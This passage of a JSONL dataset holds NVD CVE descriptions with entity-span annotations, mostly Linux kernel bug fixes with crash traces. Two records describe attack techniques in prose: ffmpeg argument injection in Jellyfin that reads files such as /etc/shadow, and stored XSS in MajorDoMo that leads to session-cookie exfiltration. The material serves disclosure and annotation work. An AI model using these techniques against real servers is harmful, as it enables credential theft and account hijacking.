df <80> 3c 08 00 74 08 4c 89 f7 e8 64 d0 9b f7 48 8b 44 24 18 49 39 06\nRSP: 0018:ffffc900047374e0 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 1ffff1100fdf8f33 RCX: dffffc0000000000\nRDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff88807efc78c0\nR\n---truncated---", "spans": {"FILEPATH: /06/2024": [[602, 610]], "FILEPATH: /ipv6/route.c": [[653, 666], [721, 734], [3518, 3531], [3586, 3599]], "FILEPATH: /ipv6/addrconf.c": [[1693, 1709]], "FILEPATH: /core/dev.c": [[1837, 1848], [1893, 1904], [1970, 1981], [2019, 2030], [2090, 2101]], "FILEPATH: /linux/netdevice.h": [[2138, 2156]], "FILEPATH: /net/tun.c": [[2206, 2216], [2241, 2251], [2300, 2310]], "FILEPATH: /linux/task_work.h": [[2432, 2450]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[2736, 2776]], "FILEPATH: /x86/entry/common.c": [[2802, 2821], [2865, 2884]], "FILEPATH: notifier.c": [[1786, 1796]], "FILEPATH: file_table.c": [[2340, 2352]], "FILEPATH: task_work.c": [[2392, 2403]], "FILEPATH: exit.c": [[2493, 2499], [2539, 2545], [2580, 2586], [2630, 2636], [2691, 2697]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[536, 542], [543, 549], [565, 571], [593, 599]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47707"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Fix mlx5e_priv_init() cleanup flow\n\nWhen mlx5e_priv_init() fails, the cleanup flow calls mlx5e_selq_cleanup which\ncalls mlx5e_selq_apply() that assures that the `priv->state_lock` is held using\nlockdep_is_held().\n\nAcquire the state_lock in mlx5e_selq_cleanup().\n\nKernel log:\n=============================\nWARNING: suspicious RCU usage\n6.8.0-rc3_net_next_841a9b5 #1 Not tainted\n-----------------------------\ndrivers/net/ethernet/mellanox/mlx5/core/en/selq.c:124 suspicious rcu_dereference_protected() usage!\n\nother info that might help us debug this:\n\nrcu_scheduler_active = 2, debug_locks = 1\n2 locks held by systemd-modules/293:\n #0: ffffffffa05067b0 (devices_rwsem){++++}-{3:3}, at: ib_register_client+0x109/0x1b0 [ib_core]\n #1: ffff8881096c65c0 (&device->client_data_rwsem){++++}-{3:3}, at: add_client_context+0x104/0x1c0 [ib_core]\n\nstack backtrace:\nCPU: 4 PID: 293 Comm: systemd-modules Not tainted 6.8.0-rc3_net_next_841a9b5 #1\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\nCall Trace:\n <TASK>\n dump_stack_lvl+0x8a/0xa0\n lockdep_rcu_suspicious+0x154/0x1a0\n mlx5e_selq_apply+0x94/0xa0 [mlx5_core]\n mlx5e_selq_cleanup+0x3a/0x60 [mlx5_core]\n mlx5e_priv_init+0x2be/0x2f0 [mlx5_core]\n mlx5_rdma_setup_rn+0x7c/0x1a0 [mlx5_core]\n rdma_init_netdev+0x4e/0x80 [ib_core]\n ? mlx5_rdma_netdev_free+0x70/0x70 [mlx5_core]\n ipoib_intf_init+0x64/0x550 [ib_ipoib]\n ipoib_intf_alloc+0x4e/0xc0 [ib_ipoib]\n ipoib_add_one+0xb0/0x360 [ib_ipoib]\n add_client_context+0x112/0x1c0 [ib_core]\n ib_register_client+0x166/0x1b0 [ib_core]\n ? 0xffffffffa0573000\n ipoib_init_module+0xeb/0x1a0 [ib_ipoib]\n do_one_initcall+0x61/0x250\n do_init_module+0x8a/0x270\n init_module_from_file+0x8b/0xd0\n idempotent_init_module+0x17d/0x230\n __x64_sys_finit_module+0x61/0xb0\n do_syscall_64+0x71/0x140\n entry_SYSCALL_64_after_hwframe+0x46/0x4e\n </TASK>", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[1070, 1114]], "FILEPATH: /net/ethernet/mellanox/mlx5/core/en/selq.c": [[494, 536]], "FILEPATH: /01/2014": [[1117, 1125]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[689, 696], [955, 962]], "SYSTEM: QEMU": [[1028, 1032]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35959"}}
{"text": "Jellyfin is an open source self hosted media server. Versions prior to 10.11.7 contain an unauthenticated arbitrary file read vulnerability via ffmpeg argument injection through the StreamOptions query parameter parsing mechanism. The ParseStreamOptions method in StreamingHelpers.cs adds any lowercase query parameter to a dictionary without validation, bypassing the RegularExpression attribute on the level controller parameter, and the unsanitized value is concatenated directly into the ffmpeg command line. By injecting a drawtext filter with a textfile argument, an attacker can read arbitrary server files such as /etc/shadow and exfiltrate their contents as text rendered in the video stream response. The vulnerable /Videos/{itemId}/stream endpoint has no Authorize attribute, making this exploitable without authentication, though item GUIDs are pseudorandom and require an authenticated user to obtain. This issue has been fixed in version 10.11.7.", "spans": {"FILEPATH: /etc/shadow": [[622, 633]], "VULNERABILITY: arbitrary file read": [[106, 125]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35033"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nigc: don't fail igc_probe() on LED setup error\n\nWhen igc_led_setup() fails, igc_probe() fails and triggers kernel panic\nin free_netdev() since unregister_netdev() is not called. [1]\nThis behavior can be tested using fault-injection framework, especially\nthe failslab feature. [2]\n\nSince LED support is not mandatory, treat LED setup failures as\nnon-fatal and continue probe with a warning message, consequently\navoiding the kernel panic.\n\n[1]\n kernel BUG at net/core/dev.c:12047!\n Oops: invalid opcode: 0000 [#1] SMP NOPTI\n CPU: 0 UID: 0 PID: 937 Comm: repro-igc-led-e Not tainted 6.17.0-rc4-enjuk-tnguy-00865-gc4940196ab02 #64 PREEMPT(voluntary)\n Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n RIP: 0010:free_netdev+0x278/0x2b0\n [...]\n Call Trace:\n  <TASK>\n  igc_probe+0x370/0x910\n  local_pci_probe+0x3a/0x80\n  pci_device_probe+0xd1/0x200\n [...]\n\n[2]\n #!/bin/bash -ex\n\n FAILSLAB_PATH=/sys/kernel/debug/failslab/\n DEVICE=0000:00:05.0\n START_ADDR=$(grep \" igc_led_setup\" /proc/kallsyms \\\n         | awk '{printf(\"0x%s\", $1)}')\n END_ADDR=$(printf \"0x%x\" $((START_ADDR + 0x100)))\n\n echo $START_ADDR > $FAILSLAB_PATH/require-start\n echo $END_ADDR > $FAILSLAB_PATH/require-end\n echo 1 > $FAILSLAB_PATH/times\n echo 100 > $FAILSLAB_PATH/probability\n echo N > $FAILSLAB_PATH/ignore-gfp-wait\n\n echo $DEVICE > /sys/bus/pci/drivers/igc/bind", "spans": {"FILEPATH: /core/dev.c": [[530, 541]], "FILEPATH: /01/2014": [[799, 807]], "FILEPATH: /bin/bash": [[969, 978]], "FILEPATH: /sys/kernel/debug/failslab": [[999, 1025]], "FILEPATH: /proc/kallsyms": [[1084, 1098]], "FILEPATH: /sys/bus/pci/drivers/igc/bind": [[1414, 1443]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[732, 736]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39956"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: sun8i-ce-cipher - fix error handling in sun8i_ce_cipher_prepare()\n\nFix two DMA cleanup issues on the error path in sun8i_ce_cipher_prepare():\n\n1] If dma_map_sg() fails for areq->dst, the device driver would try to free\n   DMA memory it has not allocated in the first place. To fix this, on the\n   \"theend_sgs\" error path, call dma unmap only if the corresponding dma\n   map was successful.\n\n2] If the dma_map_single() call for the IV fails, the device driver would\n   try to free an invalid DMA memory address on the \"theend_iv\" path:\n   ------------[ cut here ]------------\n   DMA-API: sun8i-ce 1904000.crypto: device driver tries to free an invalid DMA memory address\n   WARNING: CPU: 2 PID: 69 at kernel/dma/debug.c:968 check_unmap+0x123c/0x1b90\n   Modules linked in: skcipher_example(O+)\n   CPU: 2 UID: 0 PID: 69 Comm: 1904000.crypto- Tainted: G           O        6.15.0-rc3+ #24 PREEMPT\n   Tainted: [O]=OOT_MODULE\n   Hardware name: OrangePi Zero2 (DT)\n   pc : check_unmap+0x123c/0x1b90\n   lr : check_unmap+0x123c/0x1b90\n   ...\n   Call trace:\n    check_unmap+0x123c/0x1b90 (P)\n    debug_dma_unmap_page+0xac/0xc0\n    dma_unmap_page_attrs+0x1f4/0x5fc\n    sun8i_ce_cipher_do_one+0x1bd4/0x1f40\n    crypto_pump_work+0x334/0x6e0\n    kthread_worker_fn+0x21c/0x438\n    kthread+0x374/0x664\n    ret_from_fork+0x10/0x20\n   ---[ end trace 0000000000000000 ]---\n\nTo fix this, check for !dma_mapping_error() before calling\ndma_unmap_single() on the \"theend_iv\" path.", "spans": {"FILEPATH: /dma/debug.c": [[783, 795]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38300"}}
{"text": "MajorDoMo (aka Major Domestic Module) contains a stored cross-site scripting (XSS) vulnerability via the /objects/?op=set endpoint, which is intentionally unauthenticated for IoT device integration. User-supplied property values are stored raw in the database without sanitization. When an administrator views the property editor in the admin panel, the stored values are rendered without escaping in both a paragraph tag (SOURCE field) and a textarea element (VALUE field). The XSS fires on page load without requiring any click from the admin. Additionally, the session cookie lacks the HttpOnly flag, enabling session hijack via document.cookie exfiltration. An attacker can enumerate properties via the unauthenticated /api.php/data/ endpoint and poison any property with malicious JavaScript.", "spans": {"FILEPATH: /api.php/data": [[723, 736]], "VULNERABILITY: cross-site scripting": [[56, 76]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27177"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix scheduling while atomic in decompression path\n\n[   16.945668][    C0] Call trace:\n[   16.945678][    C0]  dump_backtrace+0x110/0x204\n[   16.945706][    C0]  dump_stack_lvl+0x84/0xbc\n[   16.945735][    C0]  __schedule_bug+0xb8/0x1ac\n[   16.945756][    C0]  __schedule+0x724/0xbdc\n[   16.945778][    C0]  schedule+0x154/0x258\n[   16.945793][    C0]  bit_wait_io+0x48/0xa4\n[   16.945808][    C0]  out_of_line_wait_on_bit+0x114/0x198\n[   16.945824][    C0]  __sync_dirty_buffer+0x1f8/0x2e8\n[   16.945853][    C0]  __f2fs_commit_super+0x140/0x1f4\n[   16.945881][    C0]  f2fs_commit_super+0x110/0x28c\n[   16.945898][    C0]  f2fs_handle_error+0x1f4/0x2f4\n[   16.945917][    C0]  f2fs_decompress_cluster+0xc4/0x450\n[   16.945942][    C0]  f2fs_end_read_compressed_page+0xc0/0xfc\n[   16.945959][    C0]  f2fs_handle_step_decompress+0x118/0x1cc\n[   16.945978][    C0]  f2fs_read_end_io+0x168/0x2b0\n[   16.945993][    C0]  bio_endio+0x25c/0x2c8\n[   16.946015][    C0]  dm_io_dec_pending+0x3e8/0x57c\n[   16.946052][    C0]  clone_endio+0x134/0x254\n[   16.946069][    C0]  bio_endio+0x25c/0x2c8\n[   16.946084][    C0]  blk_update_request+0x1d4/0x478\n[   16.946103][    C0]  scsi_end_request+0x38/0x4cc\n[   16.946129][    C0]  scsi_io_completion+0x94/0x184\n[   16.946147][    C0]  scsi_finish_command+0xe8/0x154\n[   16.946164][    C0]  scsi_complete+0x90/0x1d8\n[   16.946181][    C0]  blk_done_softirq+0xa4/0x11c\n[   16.946198][    C0]  _stext+0x184/0x614\n[   16.946214][    C0]  __irq_exit_rcu+0x78/0x144\n[   16.946234][    C0]  handle_domain_irq+0xd4/0x154\n[   16.946260][    C0]  gic_handle_irq.33881+0x5c/0x27c\n[   16.946281][    C0]  call_on_irq_stack+0x40/0x70\n[   16.946298][    C0]  do_interrupt_handler+0x48/0xa4\n[   16.946313][    C0]  el1_interrupt+0x38/0x68\n[   16.946346][    C0]  el1h_64_irq_handler+0x20/0x30\n[   16.946362][    C0]  el1h_64_irq+0x78/0x7c\n[   16.946377][    C0]  finish_task_switch+0xc8/0x3d8\n[   16.946394][    C0]  __schedule+0x600/0xbdc\n[   16.946408][    C0]  preempt_schedule_common+0x34/0x5c\n[   16.946423][    C0]  preempt_schedule+0x44/0x48\n[   16.946438][    C0]  process_one_work+0x30c/0x550\n[   16.946456][    C0]  worker_thread+0x414/0x8bc\n[   16.946472][    C0]  kthread+0x16c/0x1e0\n[   16.946486][    C0]  ret_from_fork+0x10/0x20", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53262"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: fix NULL pointer dereference in tipc_mon_reinit_self()\n\nsyzbot reported:\n\ntipc: Node number set to 1055423674\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN NOPTI\nKASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\nCPU: 3 UID: 0 PID: 6017 Comm: kworker/3:5 Not tainted 6.15.0-rc1-syzkaller-00246-g900241a5cc15 #0 PREEMPT(full)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nWorkqueue: events tipc_net_finalize_work\nRIP: 0010:tipc_mon_reinit_self+0x11c/0x210 net/tipc/monitor.c:719\n...\nRSP: 0018:ffffc9000356fb68 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: 000000003ee87cba\nRDX: 0000000000000000 RSI: ffffffff8dbc56a7 RDI: ffff88804c2cc010\nRBP: dffffc0000000000 R08: 0000000000000001 R09: 0000000000000000\nR10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000007\nR13: fffffbfff2111097 R14: ffff88804ead8000 R15: ffff88804ead9010\nFS:  0000000000000000(0000) GS:ffff888097ab9000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00000000f720eb00 CR3: 000000000e182000 CR4: 0000000000352ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n tipc_net_finalize+0x10b/0x180 net/tipc/net.c:140\n process_one_work+0x9cc/0x1b70 kernel/workqueue.c:3238\n process_scheduled_works kernel/workqueue.c:3319 [inline]\n worker_thread+0x6c8/0xf10 kernel/workqueue.c:3400\n kthread+0x3c2/0x780 kernel/kthread.c:464\n ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:153\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n </TASK>\n...\nRIP: 0010:tipc_mon_reinit_self+0x11c/0x210 net/tipc/monitor.c:719\n...\nRSP: 0018:ffffc9000356fb68 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: 000000003ee87cba\nRDX: 0000000000000000 RSI: ffffffff8dbc56a7 RDI: ffff88804c2cc010\nRBP: dffffc0000000000 R08: 0000000000000001 R09: 0000000000000000\nR10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000007\nR13: fffffbfff2111097 R14: ffff88804ead8000 R15: ffff88804ead9010\nFS:  0000000000000000(0000) GS:ffff888097ab9000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00000000f720eb00 CR3: 000000000e182000 CR4: 0000000000352ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n\nThere is a racing condition between workqueue created when enabling\nbearer and another thread created when disabling bearer right after\nthat as follow:\n\nenabling_bearer                          | disabling_bearer\n---------------                          | ----------------\ntipc_disc_timeout()                      |\n{                                        | bearer_disable()\n ...                                     | {\n schedule_work(&tn->work);               |  tipc_mon_delete()\n ...                                     |  {\n}                                        |   ...\n                                         |   write_lock_bh(&mon->lock);\n                                         |   mon->self = NULL;\n                                         |   write_unlock_bh(&mon->lock);\n                                         |   ...\n                                         |  }\ntipc_net_finalize_work()                 | }\n{                                        |\n ...                                     |\n tipc_net_finalize()                     |\n {                                       |\n  ...                                    |\n  tipc_mon_reinit_self()                 |\n  {                                      |\n   ...                                   |\n   write_lock_bh(&mon->lock);            |\n   mon->self->addr = tipc_own_addr(net); |\n   write_unlock_bh(&mon->lock);          |\n   ...             \n---truncated---", "spans": {"FILEPATH: /01/2014": [[571, 579]], "FILEPATH: /tipc/monitor.c": [[667, 682], [1839, 1854]], "FILEPATH: /tipc/net.c": [[1444, 1455]], "FILEPATH: /x86/kernel/process.c": [[1695, 1716]], "FILEPATH: /x86/entry/entry_64.S": [[1754, 1775]], "FILEPATH: workqueue.c": [[1498, 1509], [1547, 1558], [1607, 1618]], "FILEPATH: kthread.c": [[1652, 1661]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[496, 500]], "VULNERABILITY: NULL pointer dereference": [[79, 103]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37824"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: use global inline_xattr_slab instead of per-sb slab cache\n\nAs Hong Yun reported in mailing list:\n\nloop7: detected capacity change from 0 to 131072\n------------[ cut here ]------------\nkmem_cache of name 'f2fs_xattr_entry-7:7' already exists\nWARNING: CPU: 0 PID: 24426 at mm/slab_common.c:110 kmem_cache_sanity_check mm/slab_common.c:109 [inline]\nWARNING: CPU: 0 PID: 24426 at mm/slab_common.c:110 __kmem_cache_create_args+0xa6/0x320 mm/slab_common.c:307\nCPU: 0 UID: 0 PID: 24426 Comm: syz.7.1370 Not tainted 6.17.0-rc4 #1 PREEMPT(full)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014\nRIP: 0010:kmem_cache_sanity_check mm/slab_common.c:109 [inline]\nRIP: 0010:__kmem_cache_create_args+0xa6/0x320 mm/slab_common.c:307\nCall Trace:\n __kmem_cache_create include/linux/slab.h:353 [inline]\n f2fs_kmem_cache_create fs/f2fs/f2fs.h:2943 [inline]\n f2fs_init_xattr_caches+0xa5/0xe0 fs/f2fs/xattr.c:843\n f2fs_fill_super+0x1645/0x2620 fs/f2fs/super.c:4918\n get_tree_bdev_flags+0x1fb/0x260 fs/super.c:1692\n vfs_get_tree+0x43/0x140 fs/super.c:1815\n do_new_mount+0x201/0x550 fs/namespace.c:3808\n do_mount fs/namespace.c:4136 [inline]\n __do_sys_mount fs/namespace.c:4347 [inline]\n __se_sys_mount+0x298/0x2f0 fs/namespace.c:4324\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0x8e/0x3a0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nThe bug can be reproduced w/ below scripts:\n- mount /dev/vdb /mnt1\n- mount /dev/vdc /mnt2\n- umount /mnt1\n- mounnt /dev/vdb /mnt1\n\nThe reason is if we created two slab caches, named f2fs_xattr_entry-7:3\nand f2fs_xattr_entry-7:7, and they have the same slab size. Actually,\nslab system will only create one slab cache core structure which has\nslab name of \"f2fs_xattr_entry-7:3\", and two slab caches share the same\nstructure and cache address.\n\nSo, if we destroy f2fs_xattr_entry-7:3 cache w/ cache address, it will\ndecrease reference count of slab cache, rather than release slab cache\nentirely, since there is one more user has referenced the cache.\n\nThen, if we try to create slab cache w/ name \"f2fs_xattr_entry-7:3\" again,\nslab system will find that there is existed cache which has the same name\nand trigger the warning.\n\nLet's changes to use global inline_xattr_slab instead of per-sb slab cache\nfor fixing.", "spans": {"FILEPATH: /01/2014": [[691, 699]], "FILEPATH: /linux/slab.h": [[871, 884]], "FILEPATH: /f2fs/f2fs.h": [[924, 936]], "FILEPATH: /f2fs/xattr.c": [[987, 1000]], "FILEPATH: /f2fs/super.c": [[1038, 1051]], "FILEPATH: /x86/entry/syscall_64.c": [[1345, 1368], [1411, 1434]], "FILEPATH: /dev/vdb": [[1533, 1541], [1595, 1603]], "FILEPATH: /dev/vdc": [[1556, 1564]], "FILEPATH: slab_common.c": [[349, 362], [394, 407], [454, 467], [511, 524], [737, 750], [813, 826]], "FILEPATH: super.c": [[1093, 1100], [1134, 1141]], "FILEPATH: namespace.c": [[1176, 1187], [1206, 1217], [1251, 1262], [1308, 1319]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[626, 630]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71105"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Extensibility Framework). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager Base Platform accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager Base Platform. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[170, 178]], "IP_ADDRESS: 13.2.0.0": [[180, 188]], "IP_ADDRESS: 13.3.0.0": [[193, 201]], "ORGANIZATION: Oracle": [[65, 71]], "VULNERABILITY: denial of service": [[672, 689]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2630"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: fix possible race in __fib6_drop_pcpu_from()\n\nsyzbot found a race in __fib6_drop_pcpu_from() [1]\n\nIf compiler reads more than once (*ppcpu_rt),\nsecond read could read NULL, if another cpu clears\nthe value in rt6_get_pcpu_route().\n\nAdd a READ_ONCE() to prevent this race.\n\nAlso add rcu_read_lock()/rcu_read_unlock() because\nwe rely on RCU protection while dereferencing pcpu_rt.\n\n[1]\n\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000012: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000090-0x0000000000000097]\nCPU: 0 PID: 7543 Comm: kworker/u8:17 Not tainted 6.10.0-rc1-syzkaller-00013-g2bfcfd584ff5 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\nWorkqueue: netns cleanup_net\n RIP: 0010:__fib6_drop_pcpu_from.part.0+0x10a/0x370 net/ipv6/ip6_fib.c:984\nCode: f8 48 c1 e8 03 80 3c 28 00 0f 85 16 02 00 00 4d 8b 3f 4d 85 ff 74 31 e8 74 a7 fa f7 49 8d bf 90 00 00 00 48 89 f8 48 c1 e8 03 <80> 3c 28 00 0f 85 1e 02 00 00 49 8b 87 90 00 00 00 48 8b 0c 24 48\nRSP: 0018:ffffc900040df070 EFLAGS: 00010206\nRAX: 0000000000000012 RBX: 0000000000000001 RCX: ffffffff89932e16\nRDX: ffff888049dd1e00 RSI: ffffffff89932d7c RDI: 0000000000000091\nRBP: dffffc0000000000 R08: 0000000000000005 R09: 0000000000000007\nR10: 0000000000000001 R11: 0000000000000006 R12: ffff88807fa080b8\nR13: fffffbfff1a9a07d R14: ffffed100ff41022 R15: 0000000000000001\nFS:  0000000000000000(0000) GS:ffff8880b9200000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000001b32c26000 CR3: 000000005d56e000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n  __fib6_drop_pcpu_from net/ipv6/ip6_fib.c:966 [inline]\n  fib6_drop_pcpu_from net/ipv6/ip6_fib.c:1027 [inline]\n  fib6_purge_rt+0x7f2/0x9f0 net/ipv6/ip6_fib.c:1038\n  fib6_del_route net/ipv6/ip6_fib.c:1998 [inline]\n  fib6_del+0xa70/0x17b0 net/ipv6/ip6_fib.c:2043\n  fib6_clean_node+0x426/0x5b0 net/ipv6/ip6_fib.c:2205\n  fib6_walk_continue+0x44f/0x8d0 net/ipv6/ip6_fib.c:2127\n  fib6_walk+0x182/0x370 net/ipv6/ip6_fib.c:2175\n  fib6_clean_tree+0xd7/0x120 net/ipv6/ip6_fib.c:2255\n  __fib6_clean_all+0x100/0x2d0 net/ipv6/ip6_fib.c:2271\n  rt6_sync_down_dev net/ipv6/route.c:4906 [inline]\n  rt6_disable_ip+0x7ed/0xa00 net/ipv6/route.c:4911\n  addrconf_ifdown.isra.0+0x117/0x1b40 net/ipv6/addrconf.c:3855\n  addrconf_notify+0x223/0x19e0 net/ipv6/addrconf.c:3778\n  notifier_call_chain+0xb9/0x410 kernel/notifier.c:93\n  call_netdevice_notifiers_info+0xbe/0x140 net/core/dev.c:1992\n  call_netdevice_notifiers_extack net/core/dev.c:2030 [inline]\n  call_netdevice_notifiers net/core/dev.c:2044 [inline]\n  dev_close_many+0x333/0x6a0 net/core/dev.c:1585\n  unregister_netdevice_many_notify+0x46d/0x19f0 net/core/dev.c:11193\n  unregister_netdevice_many net/core/dev.c:11276 [inline]\n  default_device_exit_batch+0x85b/0xae0 net/core/dev.c:11759\n  ops_exit_list+0x128/0x180 net/core/net_namespace.c:178\n  cleanup_net+0x5b7/0xbf0 net/core/net_namespace.c:640\n  process_one_work+0x9fb/0x1b60 kernel/workqueue.c:3231\n  process_scheduled_works kernel/workqueue.c:3312 [inline]\n  worker_thread+0x6c8/0xf70 kernel/workqueue.c:3393\n  kthread+0x2c1/0x3a0 kernel/kthread.c:389\n  ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147\n  ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244", "spans": {"FILEPATH: /02/2024": [[823, 831]], "FILEPATH: /ipv6/ip6_fib.c": [[916, 931], [1882, 1897], [1936, 1951], [1997, 2012], [2038, 2053], [2095, 2110], [2149, 2164], [2206, 2221], [2254, 2269], [2307, 2322], [2362, 2377]], "FILEPATH: /ipv6/route.c": [[2406, 2419], [2466, 2479]], "FILEPATH: /ipv6/addrconf.c": [[2526, 2542], [2582, 2598]], "FILEPATH: /core/dev.c": [[2704, 2715], [2758, 2769], [2814, 2825], [2872, 2883], [2940, 2951], [2989, 3000], [3059, 3070]], "FILEPATH: /core/net_namespace.c": [[3108, 3129], [3163, 3184]], "FILEPATH: /x86/kernel/process.c": [[3429, 3450]], "FILEPATH: /x86/entry/entry_64.S": [[3489, 3510]], "FILEPATH: notifier.c": [[2644, 2654]], "FILEPATH: workqueue.c": [[3228, 3239], [3278, 3289], [3339, 3350]], "FILEPATH: kthread.c": [[3385, 3394]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[757, 763], [764, 770], [786, 792], [814, 820]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40905"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Add NULL pointer checks in dc_stream cursor attribute functions\n\nThe function dc_stream_set_cursor_attributes() currently dereferences\nthe `stream` pointer and nested members `stream->ctx->dc->current_state`\nwithout checking for NULL.\n\nAll callers of these functions, such as in\n`dcn30_apply_idle_power_optimizations()` and\n`amdgpu_dm_plane_handle_cursor_update()`, already perform NULL checks\nbefore calling these functions.\n\nFixes below:\ndrivers/gpu/drm/amd/amdgpu/../display/dc/core/dc_stream.c:336 dc_stream_program_cursor_attributes()\nerror: we previously assumed 'stream' could be null (see line 334)\n\ndrivers/gpu/drm/amd/amdgpu/../display/dc/core/dc_stream.c\n    327 bool dc_stream_program_cursor_attributes(\n    328         struct dc_stream_state *stream,\n    329         const struct dc_cursor_attributes *attributes)\n    330 {\n    331         struct dc  *dc;\n    332         bool reset_idle_optimizations = false;\n    333\n    334         dc = stream ? stream->ctx->dc : NULL;\n                     ^^^^^^\nThe old code assumed stream could be NULL.\n\n    335\n--> 336         if (dc_stream_set_cursor_attributes(stream, attributes)) {\n                                                    ^^^^^^\nThe refactor added an unchecked dereference.\n\ndrivers/gpu/drm/amd/amdgpu/../display/dc/core/dc_stream.c\n   313  bool dc_stream_set_cursor_attributes(\n   314          struct dc_stream_state *stream,\n   315          const struct dc_cursor_attributes *attributes)\n   316  {\n   317          bool result = false;\n   318\n   319          if (dc_stream_check_cursor_attributes(stream, stream->ctx->dc->current_state, attributes)) {\n                                                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Here.\nThis function used to check for if stream as NULL and return false at\nthe start. Probably we should add that back.", "spans": {"FILEPATH: /amd/display": [[72, 84]], "FILEPATH: /gpu/drm/amd/amdgpu/../display/dc/core/dc_stream.c": [[533, 583], [701, 751], [1339, 1389]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40148"}}
